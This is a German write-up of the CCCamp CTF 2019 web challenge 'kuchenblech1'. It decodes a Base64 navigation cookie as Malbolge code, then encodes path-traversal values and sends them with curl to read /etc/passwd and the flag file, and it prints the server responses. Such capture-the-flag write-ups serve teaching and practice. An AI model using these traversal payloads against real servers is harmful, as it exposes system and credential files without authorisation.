CCCamp CTF 2019 – Writeup: kuchenblech1


Kuchenblech1 ist die zweite Web-Challenge des CCCamp CTF 2019. Die zugehörige Anwendung ist ein simpler Chat-Client mit einer Login- und Registrierungsmaske.

Kodierte Kekse
In der ersten Betrachtung der Requests fällt auf, dass die Navigation zwischen den einzelnen Seiten nicht über die URL, sondern über den Cookie p
erfolgt. So ist beispielsweise der Chat-Client mit einer validen Session-ID über nachfolgenden Aufruf erreichbar:
curl -i -s -k -X $'GET' -H $'Cookie: PHPSESSID=<session>; p=KCclJTpeIn59fXt6ejFVd3V0dCswKShMbm1rKSJGaGckIyJ5Pz1PXyk6eFtZb3RzbDJTb2guT2UrdmhnOV9HJDUiIV9eV0A=' $'http://hax.allesctf.net:5555'
In der Beobachtung des p
-Cookies wird schnell klar, dass es sich bei allen Werten um Base64-enkodierte Parameter handelt. Dabei ist zu beachten, dass die Cookie-Werte zusätzlich URL-kodiert sind und Sonderzeichen wie zum Beispiel +
(URL: %2B
) zuerst wieder in ihre Äquivalente umgewandelt werden müssen.
Die Dekodierung des oben aufgeführten Chat-Client-Cookies sieht dann folgendermaßen aus:
('%%:^"~}}{zz1Uwutt+0)(Lnmk)"Fhg$#"y?O_):x[Yotsl2Soh.Oe+vhg9_G$5"!_^W@
Willkommen in der Hölle
Um mit den aus der Dekodierung erhaltenen Zeichenfolgen etwas anfangen zu können, sind die beiden Tipps aus der Beschreibung der Challenge hilfreich.
Hint 1: Cookies are a very esoteric concept!
Hint 2: We agree, this challenge comes straight out of the eighth circle of hell
Der achte Höllenkreis aus Dante’s Inferno trägt den Namen Malebolge. Dabei handelt es sich außerdem um eine esoterische Programmiersprache, die 1998 von Ben Olmstead entwickelt wurde. Olmsteads Ziel war es, mit Malebolge eine Sprache zu schaffen, die so komplex und unbenutzbar wie möglich, aber dennoch funktionsfähig ist.
Mit diesem Wissen kann man nun versuchen, die dekodierten Cookies als Malebolge-Code zu interpretieren und auszuführen. Dafür stehen diverse Bibliotheken oder Online-Tools zur Verfügung. Die vollständige Dekodierung der in der Anwendung verwendeten Cookies sieht dann folgendermaßen aus:
Register
KCcmJTpeIiE2fTRYenl4Ly5SdHNyLygnS21ra2pofkRmZWRieD5fXzo6W3FJWDU0VTIxUlJRZmUrTEtLSklHXSMhRFl8QWloeTw8dlY5N01xNTRJSGxqRWloSEFkYz50JjtxI1xKWkg6WHkxVUIuUixQcSlNb0pKN2tHaURE
('&%:^"!6}4Xzyx/.Rtsr/('Kmkkjh~Dfedbx>__::qIX54U21RRQfe+LKKJIG]#!DY|Aihy<t&;q#\\JZH:Xy1UB.R,Pq)MoJJ7kGiDD
register.php
Login
KCcmJDpeIiF9fDRYenl3NS5SdHNycSgnS21saighRWdmZSJ5P2E8PE06OTg3WTVXVVRTUi9RbGVkY2JLJ0lIR0ZufjJBe1xoPT07dTp0VHI2SzRuIWxrWFdoQmZlZGNicyRNcD5+W0hZV1ZEVWZlUVFyKk5M
('&$:^"!}|4Xzyw5.Rtsrq('Kmlj(!Egfe"y?a<<M:987Y5WUTSR/QledcbK'IHGFn~2A{\\h==;u:tTr6K4n!lkXWhBfedcbs$Mp>~[HYWVDUfeQQr*NL
login.php
Chat
KCclJTpeIn59fXt6ejFVd3V0dCswKShMbm1rKSJGaGckIyJ5Pz1PXyk6eFtZb3RzbDJTb2guT2UrdmhnOV9HJDUiIV9eV0A=
('%%:^"~}}{zz1Uwutt+0)(Lnmk)"Fhg$#"y?O_):x[Yotsl2Soh.Oe+vhg9_G$5"!_^W@
chat.php
Nice Try, Mister Astley
Da alle Werte auf eine PHP-Datei verweisen, liegt die Vermutung nahe, dass der Cookie vom Webserver direkt verwendet wird, um Dateien auf dem System auszulesen. Für einen ersten Versuch, die Flagge zu finden, kann also die Kodierung für beispielsweise flag.php
umgekehrt und in einem eigenen Cookie übergeben werden.
flag.php
('&%#9]!~}|z2Vxwvt,Prpoom%$#Gi&g|A"?ba=*;[ZYXXVrUj0QPON*M((&8%#""DY}@\\Uyf
KCcmJSM5XSF%2BfXx6MlZ4d3Z0LFBycG9vbSUkI0dpJmd8QSI%2FYmE9Kjs6W1pZWFhWclVqMFFQT04qTSgoJjglIyIiRFl9QFxVeWY=
Als Antwort erhält man daraufhin eine Seite, auf der eine vermeintliche Web-Shell angezeigt wird. Nach der ersten Benutzereingabe wird jedoch das Video zu „Never Gonna Give You Up“ von Rick Astley abgespielt.
Da die gleiche Antwort bei allen ungültigen Werten oder auch leerem p
-Cookie geliefert wird, ist davon auszugehen, dass entweder die Umkehr der Kodierung fehlerhaft war oder die Datei flag.php
auf dem Server nicht existiert.
Um sicherzustellen, dass es grundsätzlich möglich ist, vorhandene Dateien mit der angedachten Vorgehensweise auszulesen, kann beispielsweise versucht werden, die Datei index.php
abzurufen.
curl -i -s -k -X $'GET' -H $'Cookie: PHPSESSID=<session>; p=KCcmJEA5XSF%2BfXszV3l4d3Z0LFBycXBvbSVJa2ohaH1DZUAuPz5PPDo6OXE3NkdtM2twUy5RZk5OTSkoYCYlRyMiYH5YfGl6Wj1YUXVzVDY1NEpuMTBMaQ==' $'http://hax.allesctf.net:5555'
Als Antwort erhält man daraufhin eine Fehlermeldung, die eindeutig zeigt, dass der Server auf die index.php
zugegriffen hat. Demzufolge kann davon ausgegangen werden, dass der erste Versuch gescheitert ist, da schlichtweg keine Datei flag.php
auf dem Filesystem vorhanden ist.

Gotcha!
Als nächsten logischen Schritt kann der Versuch gestartet werden, Systemdateien außerhalb des Wurzelverzeichnisses des Webservers auszulesen. Über klassisches Path Traversal kann beispielsweise die passwd
-Datei mittels ../../../etc/passwd
vom Server abgerufen werden.
HTTP/1.1 200 OK
Date: Sat, 24 Aug 2019 11:54:00 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.21
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 979
Connection: close
Content-Type: text/html; charset=UTF-8
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
Ein weiterer Versuch, die Flagge im Root-Verzeichnis des Systems unter /flag
zu finden, wird mit einer erfolgreichen Antwort belohnt. Die Anfrage sieht letzten Endes folgendermaßen aus:
../../../flag
('&$:^]!~||3Wyxwuu,POqpn&%Ikj'~}CBdcxw=_::986Y#"l~SR/zfxj*)J&H%GEa`CX]@UTxvu)(Tr6oo2Hl//h,,Ae?c'O`$"\\7ml:92DgTu-QsNN
KCcmJDpeXSF%2BfHwzV3l4d3V1LFBPcXBuJiVJa2onfn1DQmRjeHc9Xzo6OTg2WSMibH5TUi96ZnhqKilKJkglR0VhYENYXUBVVHh2dSkoVHI2b28ySGwvL2gsLEFlP2MnT2AkIlw3bWw6OTJEZ1R1LVFzTk4=
curl -i -s -k -X $'GET' -H $'Cookie: PHPSESSID=<session>; p=KCcmJDpeXSF%2BfHwzV3l4d3V1LFBPcXBuJiVJa2onfn1DQmRjeHc9Xzo6OTg2WSMibH5TUi96ZnhqKilKJkglR0VhYENYXUBVVHh2dSkoVHI2b28ySGwvL2gsLEFlP2MnT2AkIlw3bWw6OTJEZ1R1LVFzTk4=' $'http://hax.allesctf.net:5555'
und liefert vom Server die erhoffte Antwort zurück:
HTTP/1.1 200 OK
Date: Sat, 24 Aug 2019 11:57:43 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.21
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 35
Connection: close
Content-Type: text/html; charset=UTF-8
ALLES{winner_winner_chicken_dinner}

